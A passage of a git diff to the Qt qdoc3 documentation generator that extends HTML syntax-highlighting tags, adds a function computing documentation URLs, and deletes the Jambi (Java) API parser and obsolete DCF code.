                     addLink(linkForNode(n,relative), arg, &html);
+                html += QLatin1String("</span>");
                 handled = true;
             }
             else if (parseArg(src, headerTag, &i, srcSize, &arg, &par1)) {
@@ -3211,23 +2860,40 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
     // "<@preprocessor>" -> "<span class=\"preprocessor\">";
     // "<@string>" -> "<span class=\"string\">";
     // "<@char>" -> "<span class=\"char\">";
-    // "</@(?:comment|preprocessor|string|char)>" -> "</span>"
+    // "<@number>" -> "<span class=\"number\">";
+    // "<@op>" -> "<span class=\"operator\">";
+    // "<@type>" -> "<span class=\"type\">";
+    // "<@name>" -> "<span class=\"name\">";
+    // "<@keyword>" -> "<span class=\"keyword\">";
+    // "</@(?:comment|preprocessor|string|char|number|op|type|name|keyword)>" -> "</span>"
     src = html;
     html = QString();
     static const QString spanTags[] = {
-        "<@comment>",      "<span class=\"comment\">",
-        "<@preprocessor>", "<span class=\"preprocessor\">",
-        "<@string>",       "<span class=\"string\">",
-        "<@char>",         "<span class=\"char\">",
-        "</@comment>",     "</span>",
-        "</@preprocessor>","</span>",
-        "</@string>",      "</span>",
-        "</@char>",        "</span>"
+        "<@comment>",       "<span class=\"comment\">",
+        "<@preprocessor>",  "<span class=\"preprocessor\">",
+        "<@string>",        "<span class=\"string\">",
+        "<@char>",          "<span class=\"char\">",
+        "<@number>",        "<span class=\"number\">",
+        "<@op>",            "<span class=\"operator\">",
+        "<@type>",          "<span class=\"type\">",
+        "<@name>",          "<span class=\"name\">",
+        "<@keyword>",       "<span class=\"keyword\">",
+        "</@comment>",      "</span>",
+        "</@preprocessor>", "</span>",
+        "</@string>",       "</span>",
+        "</@char>",         "</span>",
+        "</@number>",       "</span>",
+        "</@op>",           "</span>",
+        "</@type>",         "</span>",
+        "</@name>",         "</span>",
+        "</@keyword>",      "</span>",
     };
+    // Update the upper bound of k in the following code to match the length
+    // of the above array.
     for (int i = 0, n = src.size(); i < n;) {
         if (src.at(i) == charLangle) {
             bool handled = false;
-            for (int k = 0; k != 8; ++k) {
+            for (int k = 0; k != 18; ++k) {
                 const QString & tag = spanTags[2 * k];
                 if (tag == QStringRef(&src, i, tag.length())) {
                     html += spanTags[2 * k + 1];
@@ -3278,18 +2944,6 @@ void HtmlGenerator::generateLink(const Atom* atom,
         }
         inLink = false;
         out() << protectEnc(atom->string().mid(k));
-    } else if (marker->recognizeLanguage("Java")) {
-        // hack for Java: remove () and use <tt> when appropriate
-        bool func = atom->string().endsWith("()");
-        bool tt = (func || atom->string().contains(camelCase));
-        if (tt)
-            out() << "<tt>";
-        if (func) {
-            out() << protectEnc(atom->string().left(atom->string().length() - 2));
-        } else {
-            out() << protectEnc(atom->string());
-        }
-        out() << "</tt>";
     } else {
         out() << protectEnc(atom->string());
     }
@@ -3434,29 +3088,6 @@ QString HtmlGenerator::fileBase(const Node *node) const
     return result;
 }
 
-#if 0
-QString HtmlGenerator::fileBase(const Node *node,
-                                const SectionIterator& section)
-{
-    QStringList::ConstIterator s = section.sectionNumber().end();
-    QStringList::ConstIterator b = section.baseNameStack().end();
-
-    QString suffix;
-    QString base = fileBase(node);
-
-    while (s != section.sectionNumber().begin()) {
-        --s;
-        --b;
-        if (!(*b).isEmpty()) {
-            base = *b;
-            break;
-        }
-        suffix.prepend("-" + *s);
-    }
-    return base + suffix;
-}
-#endif
-
 QString HtmlGenerator::fileName(const Node *node)
 {
     if (node->type() == Node::Fake) {
@@ -3544,15 +3175,9 @@ QString HtmlGenerator::linkForNode(const Node *node, const Node *relative)
         return QString();
  
     fn = fileName(node);
-#if 0
-    if (!node->url().isEmpty())
-        return fn;
-#endif    
+/*    if (!node->url().isEmpty())
+        return fn;*/
 
-#if 0
-    // ### reintroduce this test, without breaking .dcf files
-    if (fn != outFileName())
-#endif
     link += fn;
 
     if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) {
@@ -3811,6 +3436,7 @@ void HtmlGenerator::findAllFunctions(const InnerNode *node)
             else if ((*c)->type() == Node::Function) {
                 const FunctionNode *func = static_cast<const FunctionNode *>(*c);
                 if ((func->status() > Node::Obsolete) &&
+                    !func->isInternal() &&
                     (func->metaness() != FunctionNode::Ctor) &&
                     (func->metaness() != FunctionNode::Dtor)) {
                     funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c);
@@ -4016,14 +3642,6 @@ QString HtmlGenerator::getLink(const Atom *atom,
                              << (*node)->name() << "no relative";
                 }
             }
-#if 0                    
-            else if ((*node)->status() == Node::Deprecated) {
-                qDebug() << "Link to Deprecated entity";
-            }
-            else if ((*node)->status() == Node::Internal) {
-                qDebug() << "Link to Internal entity";
-            }
-#endif                
         }
 
         while (!path.isEmpty()) {
@@ -4044,16 +3662,6 @@ QString HtmlGenerator::getLink(const Atom *atom,
     return link;
 }
 
-void HtmlGenerator::generateDcf(const QString &fileBase,
-                                const QString &startPage,
-                                const QString &title,
-                                DcfSection &dcfRoot)
-{
-    dcfRoot.ref = startPage;
-    dcfRoot.title = title;
-    generateDcfSections(dcfRoot, outputDir() + "/" + fileBase + ".dcf", fileBase + "/reference");
-}
-
 void HtmlGenerator::generateIndex(const QString &fileBase,
                                   const QString &url,
                                   const QString &title)
@@ -4580,12 +4188,14 @@ void HtmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* n
 /*!
   Outputs the file containing the index used for searching the html docs.
  */
-void HtmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const
+void HtmlGenerator::generatePageIndex(const QString& fileName) const
 {
     QFile file(fileName);
     if (!file.open(QFile::WriteOnly | QFile::Text))
         return ;
 
+    CodeMarker *marker = CodeMarker::markerForFileName(fileName);
+
     QXmlStreamWriter writer(&file);
     writer.setAutoFormatting(true);
     writer.writeStartDocument();
@@ -4636,6 +4246,151 @@ void HtmlGenerator::generateExtractionMark(const Node *node, ExtractionMarkType
     }
 }
 
+/*!
+  Returns the full document location for HTML-based documentation.
+ */
+QString HtmlGenerator::fullDocumentLocation(const Node *node)
+{
+    if (!node)
+        return "";
+    if (!node->url().isEmpty())
+        return node->url();
+
+    QString parentName;
+    QString anchorRef;
+
+    if (node->type() == Node::Namespace) {
+
+        // The root namespace has no name - check for this before creating
+        // an attribute containing the location of any documentation.
+
+        if (!node->fileBase().isEmpty())
+            parentName = node->fileBase() + ".html";
+        else
+            return "";
+    }
+    else if (node->type() == Node::Fake) {
+#ifdef QDOC_QML
+        if ((node->subType() == Node::QmlClass) ||
+            (node->subType() == Node::QmlBasicType)) {
+            QString fb = node->fileBase();
+            if (fb.startsWith(Generator::outputPrefix(QLatin1String("QML"))))
+                return fb + ".html";
+            else
+                return Generator::outputPrefix(QLatin1String("QML")) + node->fileBase() + QLatin1String(".html");
+        } else
+#endif
+        parentName = node->fileBase() + ".html";
+    }
+    else if (node->fileBase().isEmpty())
+        return "";
+
+    Node *parentNode = 0;
+
+    if ((parentNode = node->relates()))
+        parentName = fullDocumentLocation(node->relates());
+    else if ((parentNode = node->parent())) {
+        if (parentNode->subType() == Node::QmlPropertyGroup) {
+            parentNode = parentNode->parent();
+            parentName = fullDocumentLocation(parentNode);
+        }
+        else
+            parentName = fullDocumentLocation(node->parent());
+    }
+
+    switch (node->type()) {
+        case Node::Class:
+        case Node::Namespace:
+            if (parentNode && !parentNode->name().isEmpty())
+                parentName = parentName.replace(".html", "") + "-"
+                           + node->fileBase().toLower() + ".html";
+            else
+                parentName = node->fileBase() + ".html";
+            break;
+        case Node::Function:
+            {
+                /*
+                  Functions can be destructors, overloaded, or
+                  have associated properties.
+                */
+                const FunctionNode *functionNode =
+                    static_cast<const FunctionNode *>(node);
+
+                if (functionNode->metaness() == FunctionNode::Dtor)
+                    anchorRef = "#dtor." + functionNode->name().mid(1);
+
+                else if (functionNode->associatedProperty())
+                    return fullDocumentLocation(functionNode->associatedProperty());
+
+                else if (functionNode->overloadNumber() > 1)
+                    anchorRef = "#" + functionNode->name()
+                              + "-" + QString::number(functionNode->overloadNumber());
+                else
+                    anchorRef = "#" + functionNode->name();
+            }
+
+            /*
+              Use node->name() instead of node->fileBase() as
+              the latter returns the name in lower-case. For
+              HTML anchors, we need to preserve the case.
+            */
+            break;
+        case Node::Enum:
+            anchorRef = "#" + node->name() + "-enum";
+            break;
+        case Node::Typedef:
+            anchorRef = "#" + node->name() + "-typedef";
+            break;
+        case Node::Property:
+            anchorRef = "#" + node->name() + "-prop";
+            break;
+        case Node::QmlProperty:
+            anchorRef = "#" + node->name() + "-prop";
+            break;
+        case Node::QmlSignal:
+            anchorRef = "#" + node->name() + "-signal";
+            break;
+        case Node::QmlMethod:
+            anchorRef = "#" + node->name() + "-method";
+            break;
+        case Node::Variable:
+            anchorRef = "#" + node->name() + "-var";
+            break;
+        case Node::Target:
+            anchorRef = "#" + Doc::canonicalTitle(node->name());
+            break;
+        case Node::Fake:
+            {
+            /*
+              Use node->fileBase() for fake nodes because they are represented
+              by pages whose file names are lower-case.
+            */
+            parentName = node->fileBase();
+            parentName.replace("/", "-").replace(".", "-");
+            parentName += ".html";
+            }
+            break;
+        default:
+            break;
+    }
+
+    // Various objects can be compat (deprecated) or obsolete.
+    if (node->type() != Node::Class && node->type() != Node::Namespace) {
+        switch (node->status()) {
+        case Node::Compat:
+            parentName.replace(".html", "-qt3.html");
+            break;
+        case Node::Obsolete:
+            parentName.replace(".html", "-obsolete.html");
+            break;
+        default:
+            ;
+        }
+    }
+
+    return parentName.toLower() + anchorRef;
+}
+
 #endif
 
- QT_END_NAMESPACE
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h
index 402538f..eed96e7 100644
--- a/tools/qdoc3/htmlgenerator.h
+++ b/tools/qdoc3/htmlgenerator.h
@@ -52,20 +52,10 @@
 
 #include "codemarker.h"
 #include "config.h"
-#include "dcfsection.h"
 #include "pagegenerator.h"
 
 QT_BEGIN_NAMESPACE
 
-#if 0
-struct NavigationBar
-{
-    SectionIterator prev;
-    SectionIterator current;
-    SectionIterator next;
-};
-#endif
-
 typedef QMultiMap<QString, Node*> NodeMultiMap;
 typedef QMap<QString, NodeMultiMap> NewSinceMaps;
 typedef QMap<Node*, NodeMultiMap> ParentMaps;
@@ -95,10 +85,6 @@ class HtmlGenerator : public PageGenerator
         LastSinceType
     };
 
-    enum Application {
-        Online,
-        Creator};
-
  public:
     HtmlGenerator();
     ~HtmlGenerator();
@@ -106,12 +92,13 @@ class HtmlGenerator : public PageGenerator
     virtual void initializeGenerator(const Config& config);
     virtual void terminateGenerator();
     virtual QString format();
-    virtual void generateTree(const Tree *tree, CodeMarker *marker);
+    virtual void generateTree(const Tree *tree);
 
     QString protectEnc(const QString &string);
     static QString protect(const QString &string, const QString &encoding = "ISO-8859-1");
     static QString cleanRef(const QString& ref);
     static QString sinceTitle(int i) { return sinceTitles[i]; }
+    static QString fullDocumentLocation(const Node *node);
 
  protected:
     virtual void startText(const Node *relative, CodeMarker *marker);
@@ -155,16 +142,6 @@ class HtmlGenerator : public PageGenerator
                        CodeMarker *marker,
                        const Node *relative = 0);
     void generateIncludes(const InnerNode *inner, CodeMarker *marker);
-#if 0
-    void generateNavigationBar(const NavigationBar& bar, 
-                               const Node *node,
-                               CodeMarker *marker);
-#endif
-    void generateTableOfContents(const Node *node, 
-                                 CodeMarker *marker,
-                                 Doc::SectioningUnit sectioningUnit,
-                                 int numColumns, 
-                                 const Node *relative = 0);
     void generateTableOfContents(const Node *node, 
                                  CodeMarker *marker, 
                                  QList<Section>* sections = 0);
@@ -242,9 +219,6 @@ class HtmlGenerator : public PageGenerator
     
     QString registerRef(const QString& ref);
     virtual QString fileBase(const Node *node) const;
-#if 0
-    QString fileBase(const Node *node, const SectionIterator& section);
-#endif
     QString fileName(const Node *node);
     void findAllClasses(const InnerNode *node);
     void findAllFunctions(const InnerNode *node);
@@ -257,9 +231,6 @@ class HtmlGenerator : public PageGenerator
                             const Node *relative, 
                             CodeMarker *marker, 
                             const Node** node);
-    virtual void generateDcf(const QString &fileBase, 
-                             const QString &startPage,
-                             const QString &title, DcfSection &dcfRoot);
     virtual void generateIndex(const QString &fileBase, 
                                const QString &url,
                                const QString &title);
@@ -277,22 +248,11 @@ class HtmlGenerator : public PageGenerator
     void generatePageElements(QXmlStreamWriter& writer, 
                               const Node* node, 
                               CodeMarker* marker) const;
-    void generatePageIndex(const QString& fileName, 
-                           CodeMarker* marker) const;
+    void generatePageIndex(const QString& fileName) const;
     void generateExtractionMark(const Node *node, ExtractionMarkType markType);
 
-#if 0
-    NavigationBar currentNavigationBar;
-#endif
     QMap<QString, QString> refMap;
     int codeIndent;
-    DcfSection dcfClassesRoot;
-    DcfSection dcfOverviewsRoot;
-    DcfSection dcfExamplesRoot;
-    DcfSection dcfDesignerRoot;
-    DcfSection dcfLinguistRoot;
-    DcfSection dcfAssistantRoot;
-    DcfSection dcfQmakeRoot;
     HelpProjectWriter *helpProjectWriter;
     bool inLink;
     bool inObsoleteLink;
@@ -301,15 +261,15 @@ class HtmlGenerator : public PageGenerator
     bool inTableHeader;
     int numTableRows;
     bool threeColumnEnumValueTable;
-    Application application;
     QString link;
     QStringList sectionNumber;
     QRegExp funcLeftParen;
     QString style;
+    QString headerScripts;
+    QString headerStyles;
+    QString endHeader;
     QString postHeader;
     QString postPostHeader;
-    QString creatorPostHeader;
-    QString creatorPostPostHeader;
     QString footer;
     QString address;
     bool pleaseGenerateMacRef;
@@ -320,7 +280,6 @@ class HtmlGenerator : public PageGenerator
     QStringList stylesheets;
     QStringList customHeadElements;
     const Tree *myTree;
-    bool slow;
     bool obsoleteLinks;
     QMap<QString, NodeMap > moduleClassMap;
     QMap<QString, NodeMap > moduleNamespaceMap;
@@ -348,11 +307,6 @@ class HtmlGenerator : public PageGenerator
 #define HTMLGENERATOR_GENERATEMACREFS   "generatemacrefs" // ### document me
 #define HTMLGENERATOR_POSTHEADER        "postheader"
 #define HTMLGENERATOR_POSTPOSTHEADER    "postpostheader"
-#define HTMLGENERATOR_CREATORPOSTHEADER        "postheader"
-#define HTMLGENERATOR_CREATORPOSTPOSTHEADER    "postpostheader"
-#define HTMLGENERATOR_STYLE             "style"
-#define HTMLGENERATOR_STYLESHEETS       "stylesheets"
-#define HTMLGENERATOR_CUSTOMHEADELEMENTS "customheadelements"
 
 QT_END_NAMESPACE
 
diff --git a/tools/qdoc3/jambiapiparser.cpp b/tools/qdoc3/jambiapiparser.cpp
deleted file mode 100644
index 82404c9..0000000
--- a/tools/qdoc3/jambiapiparser.cpp
+++ /dev/null
@@ -1,546 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-    jambiapiparser.cpp
-*/
-
-#include "cppcodeparser.h"
-#include "jambiapiparser.h"
-#include "node.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-static const char USED_INTERNALLY[] = "";
-
-static Text textWithFixedBrief(const Text &text, const Text &beforeBrief,
-                               const Text &afterBrief)
-{
-    Text result;
-
-    const Atom *atom = text.firstAtom();
-    while (atom) {
-        if (atom->type() == Atom::BriefLeft) {
-            result << Atom::ParaLeft << beforeBrief;
-        } else if (atom->type() == Atom::BriefRight) {
-            result << afterBrief << Atom::ParaRight;
-        } else {
-            result << *atom;
-        }
-        atom = atom->next();
-    }
-
-    return result;
-}
-
-static void setPass1JambifiedDoc(Node *javaNode, const Node *cppNode, const QString &qName = "")
-{
-    Doc newDoc(cppNode->doc());
-
-    if (javaNode->type() == Node::Function) {
-        const FunctionNode *javaFunc = static_cast<const FunctionNode *>(javaNode);
-        if (cppNode->type() == Node::Function) {
-            const FunctionNode *cppFunc = static_cast<const FunctionNode *>(cppNode);
-            if (const PropertyNode *property = cppFunc->associatedProperty()) {
-                newDoc = property->doc();
-                Text text(newDoc.body());
-
-                Node *mutableCppNode = const_cast<Node *>(cppNode);
-                if (property->getters().contains(mutableCppNode)) {
-                    text = textWithFixedBrief(text, Text("Returns "), Text("."));
-                } else if (property->setters().contains(mutableCppNode)) {
-                    Text afterBrief;
-                    if (javaFunc->parameterNames().count() == 1
-                            && !javaFunc->parameterNames().first().isEmpty()) {
-                        afterBrief << " to "
-                                   << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER)
-                                   << javaFunc->parameterNames().first()
-                                   << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER);
-                    }
-                    afterBrief << ".";
-                    text = textWithFixedBrief(text, Text("Sets "), afterBrief);
-                } else if (property->resetters().contains(mutableCppNode)) {
-                    text = textWithFixedBrief(text, Text("Resets "), Text("."));
-                }
-
-                newDoc.setBody(text);
-            } else {
-                QStringList javaParams = javaFunc->parameterNames();
-                QStringList cppParams = cppFunc->parameterNames();
-                newDoc.renameParameters(cppParams, javaParams);
-
-                if (cppNode->access() == Node::Private) {
-                    Text text;
-                    text << Atom::ParaLeft;
-                    if (cppFunc->reimplementedFrom()) {
-                        text << "This function is reimplemented for internal reasons.";
-                    } else {
-                        text << USED_INTERNALLY;
-                    }
-                    text << Atom::ParaRight;
-                    newDoc.setBody(text);
-                }
-            }
-        } else if (cppNode->type() == Node::Variable) {
-            Text text(newDoc.body());
-
-            if (qName == "variablegetter") {
-                text = textWithFixedBrief(text, Text("Returns "), Text("."));
-            } else if (qName == "variablesetter") {
-                Text afterBrief;
-                if (javaFunc->parameterNames().count() == 1
-                        && !javaFunc->parameterNames().first().isEmpty()) {
-                    afterBrief << " to "
-                               << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER)
-                               << javaFunc->parameterNames().first()
-                               << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER);
-                }
-                afterBrief << ".";
-                text = textWithFixedBrief(text, Text("Sets "), afterBrief);
-            }
-
-            newDoc.setBody(text);
-        }
-    } else {    // ### enum value names?
-
-    }
-
-    javaNode->setDoc(newDoc, true);
-}
-
-static void setStatus(Node *javaNode, const Node *cppNode)
-{
-    if (cppNode->status() == Node::Compat) {
-        javaNode->setStatus(Node::Obsolete);
-    } else {
-        javaNode->setStatus(cppNode->status());
-    }
-}
-
-static Text findEnumText(Node *javaEnum, const QString &enumItemName)
-{
-    const Text &body = javaEnum->doc().body();
-    const Atom *atom = body.firstAtom();
-    while (atom) {
-        if (atom->type() == Atom::ListTagLeft && atom->string() == ATOM_LIST_VALUE) {
-            atom = atom->next();
-            if (atom) {
-                // ### paras?
-                if (atom->string() == enumItemName)
-                    return body.subText(Atom::ListItemLeft, Atom::ListItemRight, atom);
-            }
-        } else {
-            atom = atom->next();
-        }
-    }
-    return Text();
-}
-
-JambiApiParser::JambiApiParser(Tree *cppTree)
-    : cppTre(cppTree), javaTre(0), metJapiTag(false)
-{
-}
-
-JambiApiParser::~JambiApiParser()
-{
-}
-
-void JambiApiParser::initializeParser(const Config &config)
-{
-    CodeParser::initializeParser(config);
-}
-
-void JambiApiParser::terminateParser()
-{
-    CodeParser::terminateParser();
-}
-
-QString JambiApiParser::language()
-{
-    return "Java";
-}
-
-QString JambiApiParser::sourceFileNameFilter()
-{
-    return "*.japi";
-}
-
-void JambiApiParser::parseSourceFile(const Location &location, const QString &filePath, Tree *tree)
-{
-    javaTre = tree;
-    metJapiTag = false;
-
-    QXmlSimpleReader reader;
-    reader.setContentHandler(this);
-    reader.setErrorHandler(this);
-
-    QFile file(filePath);
-    if (!file.open(QFile::ReadOnly)) {
-        location.warning(tr("Cannot open JAPI file '%1'").arg(filePath));
-        return;
-    }
-
-    japiLocation = Location(filePath);
-    QXmlInputSource xmlSource(&file);
-    reader.parse(xmlSource);
-}
-
-void JambiApiParser::doneParsingSourceFiles(Tree * /* tree */)
-{
-    /*
-        Also import the overview documents.
-    */
-    foreach (Node *cppNode, cppTre->root()->childNodes()) {
-        if (cppNode->type() == Node::Fake) {
-            FakeNode *cppFake = static_cast<FakeNode *>(cppNode);
-            if (cppFake->subType() == Node::Page) {
-                FakeNode *javaFake = new FakeNode(javaTre->root(),
-                                                  cppFake->name(),
-                                                  cppFake->subType());
-                javaFake->setModuleName("com.trolltech.qt");    // ### hard-coded
-                javaFake->setTitle(cppFake->title());
-                javaFake->setSubTitle(cppFake->subTitle());
-                setStatus(javaFake, cppFake);
-                setPass1JambifiedDoc(javaFake, cppFake);
-            }
-        }
-    }
-
-    /*
-        Fix the docs.
-    */
-    if (javaTre) {
-        javaTre->resolveInheritance();
-        jambifyDocsPass2(javaTre->root());
-        javaTre = 0;
-    }
-}
-
-bool JambiApiParser::startElement(const QString & /* namespaceURI */,
-                                  const QString & /* localName */,
-                                  const QString &qName,
-                                  const QXmlAttributes &attributes)
-{
-    if (!metJapiTag && qName != "japi") {
-        // ### The file is not a JAPI file.
-        return true;
-    }
-    metJapiTag = true;
-
-    EnumNode *javaEnum = 0;
-    EnumNode *cppEnum = 0;
-    InnerNode *javaParent = javaTre->root();
-    InnerNode *cppParent = cppTre->root();
-
-    for (int i = 0; i < classAndEnumStack.count(); ++i) {
-        const ClassOrEnumInfo &info = classAndEnumStack.at(i);
-        if (info.cppNode) {
-            if (info.cppNode->type() == Node::Enum) {
-                Q_ASSERT(info.javaNode->type() == Node::Enum);
-                javaEnum = static_cast<EnumNode *>(info.javaNode);
-                cppEnum = static_cast<EnumNode *>(info.cppNode);
-            } else {
-                Q_ASSERT(info.javaNode->type() == Node::Class
-                         || info.javaNode->type() == Node::Namespace);
-                javaParent = static_cast<InnerNode *>(info.javaNode);
-                cppParent = static_cast<InnerNode *>(info.cppNode);
-            }
-        }
-    }
-
-    if (qName == "class" || qName == "enum") {
-        Node::Type type = (qName == "class") ? Node::Class : Node::Enum;
-
-        QString javaExtends = attributes.value("java-extends");
-        QString javaImplements = attributes.value("javaimplements");
-
-        ClassOrEnumInfo info;
-        info.tag = qName;
-        info.javaName = attributes.value("java");
-        info.cppName = attributes.value("cpp");
-        info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent);
-        if (!info.cppNode && type == Node::Class) {
-            type = Node::Namespace;
-            info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent);
-        }
-
-        if (!info.cppNode) {
-            japiLocation.warning(tr("Cannot find C++ class or enum '%1'").arg(info.cppName));
-        } else {
-            if (qName == "class") {
-                ClassNode *javaClass = new ClassNode(javaParent, info.javaName);
-                javaClass->setModuleName(attributes.value("package"));
-                if (!javaExtends.isEmpty())
-                    javaTre->addBaseClass(javaClass, Node::Public, javaExtends.split('.'),
-                                          javaExtends);
-                if (!javaImplements.isEmpty())
-                    javaTre->addBaseClass(javaClass, Node::Public, javaImplements.split('.'),
-                                          javaExtends);
-
-                info.javaNode = javaClass;
-            } else {
-                info.javaNode = new EnumNode(javaParent, info.javaName);
-            }
-            info.javaNode->setLocation(japiLocation);
-            setStatus(info.javaNode, info.cppNode);
-
-            setPass1JambifiedDoc(info.javaNode, info.cppNode);
-        }
-        classAndEnumStack.push(info);
-    } else if (qName == "method" || qName == "signal") {
-        QString javaSignature = attributes.value("java");
-        if (javaSignature.startsWith("private"))
-            return true;
-
-        QString cppSignature = attributes.value("cpp");
-
-        CppCodeParser cppParser;
-        const FunctionNode *cppNode = cppParser.findFunctionNode(cppSignature, cppTre,
-                                                                 cppParent,
-                                                                 true /* fuzzy */);
-        if (!cppNode) {
-            bool quiet = false;
-
-            /*
-                Default constructors sometimes don't exist in C++.
-            */
-            if (!quiet && javaSignature == "public " + javaParent->name() + "()")
-                quiet = true;
-
-            if (!quiet)
-                japiLocation.warning(tr("Cannot find C++ function '%1' ('%2')")
-                                     .arg(cppSignature).arg(cppParent->name()));
-        }
-
-        FunctionNode *javaNode;
-        if (makeFunctionNode(javaParent, javaSignature, &javaNode)) {
-            javaNode->setLocation(japiLocation);
-            if (qName == "signal")
-                javaNode->setMetaness(FunctionNode::Signal);
-
-            if (cppNode) {
-                setStatus(javaNode, cppNode);
-
-                int overloadNo = cppNode->parameters().count() - javaNode->parameters().count() + 1;
-                if (overloadNo == 1) {
-                    setPass1JambifiedDoc(javaNode, cppNode);
-                } else {
-                    Text text;
-
-                    text << Atom::ParaLeft << "Equivalent to "
-                         << Atom(Atom::Link, javaNode->name() + "()")
-                         << Atom(Atom::FormattingLeft, ATOM_FORMATTING_LINK)
-                         << javaNode->name()
-                         << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK)
-                         << "(";
-
-                    for (int i = 0; i < cppNode->parameters().count(); ++i) {
-                        if (i > 0)
-                            text << ", ";
-                        if (i < javaNode->parameters().count()) {
-                            text << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER)
-                                 << javaNode->parameters().at(i).name()
-                                 << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER);
-                        } else {
-                            // ### convert to Java
-                            text << cppNode->parameters().at(i).defaultValue();
-                        }
-                    }
-
-                    text << ").";
-
-                    Doc doc;
-                    doc.setBody(text);
-                    javaNode->setDoc(doc, true);
-                }
-                javaNode->setOverload(overloadNo > 1);
-            }
-        }
-    } else if (qName == "variablesetter" || qName == "variablegetter") {
-        QString javaSignature = attributes.value("java");
-        if (javaSignature.startsWith("private"))
-            return true;
-
-        QString cppVariable = attributes.value("cpp");
-
-        VariableNode *cppNode = static_cast<VariableNode *>(cppParent->findNode(cppVariable,
-                                                                                Node::Variable));
-        FunctionNode *javaNode;
-        if (makeFunctionNode(javaParent, javaSignature, &javaNode)) {
-            javaNode->setLocation(japiLocation);
-
-            if (!cppNode) {
-#if 0
-                japiLocation.warning(tr("Cannot find C++ variable '%1' ('%2')")
-                                     .arg(cppVariable).arg(cppParent->name()));
-#endif
-                javaNode->setDoc(Doc(japiLocation, japiLocation,
-                                     USED_INTERNALLY,
-                                     QSet<QString>()), true);
-            } else {
-                setPass1JambifiedDoc(javaNode, cppNode, qName);
-                setStatus(javaNode, cppNode);
-            }
-        }
-    } else if (qName == "enum-value") {
-        QString javaName = attributes.value("java");
-        QString cppName = attributes.value("cpp");
-        QString value = attributes.value("value");
-
-        if (javaEnum) {
-            EnumItem item(javaName, value, findEnumText(javaEnum, javaName));
-            javaEnum->addItem(item);
-        }
-    }
-
-    return true;
-}
-
-bool JambiApiParser::endElement(const QString & /* namespaceURI */,
-                                const QString & /* localName */,
-                                const QString &qName)
-{
-    if (qName == "class" || qName == "enum")
-        classAndEnumStack.pop();
-    return true;
-}
-
-bool JambiApiParser::fatalError(const QXmlParseException &exception)
-{
-    japiLocation.setLineNo(exception.lineNumber());
-    japiLocation.setColumnNo(exception.columnNumber());
-    japiLocation.warning(tr("Syntax error in JAPI file (%1)").arg(exception.message()));
-    return true;
-}
-
-void JambiApiParser::jambifyDocsPass2(Node *node)
-{
-    const Doc &doc = node->doc();
-    if (!doc.isEmpty()) {
-        if (node->type() == Node::Enum) {
-            Doc newDoc(doc);
-            newDoc.simplifyEnumDoc();
-            node->setDoc(newDoc, true);
-        }
-    }
-
-    if (node->isInnerNode()) {
-        InnerNode *innerNode = static_cast<InnerNode *>(node);
-        foreach (Node *child, innerNode->childNodes())
-            jambifyDocsPass2(child);
-    }
-}
-
-bool JambiApiParser::makeFunctionNode(InnerNode *parent, const QString &synopsis,
-				      FunctionNode **funcPtr)
-{
-    Node::Access access = Node::Public;
-    FunctionNode::Metaness metaness = FunctionNode::Plain;
-    bool final = false;
-    bool statique = false;
-
-    QString mySynopsis = synopsis.simplified();
-    int oldLen;
-    do {
-        oldLen = mySynopsis.length();
-
-        if (mySynopsis.startsWith("public ")) {
-            mySynopsis.remove(0, 7);
-            access = Node::Public;
-        }
-        if (mySynopsis.startsWith("protected ")) {
-            mySynopsis.remove(0, 10);
-            access = Node::Protected;
-        }
-        if (mySynopsis.startsWith("private ")) {
-            mySynopsis.remove(0, 8);
-            access = Node::Private;
-        }
-        if (mySynopsis.startsWith("native ")) {
-            mySynopsis.remove(0, 7);
-            metaness = FunctionNode::Native;
-        }
-        if (mySynopsis.startsWith("final ")) {
-            mySynopsis.remove(0, 6);
-            final = true;
-        }
-        if (mySynopsis.startsWith("static ")) {
-            mySynopsis.remove(0, 7);
-            statique = true;
-        }
-    } while (oldLen != mySynopsis.length());
-
-    // method or constructor
-    QRegExp funcRegExp("(?:(.*) )?([A-Za-z_0-9]+)\\((.*)\\)");
-    if (!funcRegExp.exactMatch(mySynopsis))
-        return false;
-
-    QString retType = funcRegExp.cap(1);
-    QString funcName = funcRegExp.cap(2);
-    QStringList params = funcRegExp.cap(3).split(",");
-
-    FunctionNode *func = new FunctionNode(parent, funcName);
-    func->setReturnType(retType);
-    func->setAccess(access);
-    func->setStatic(statique);
-    func->setConst(final);
-    func->setMetaness(metaness);
-
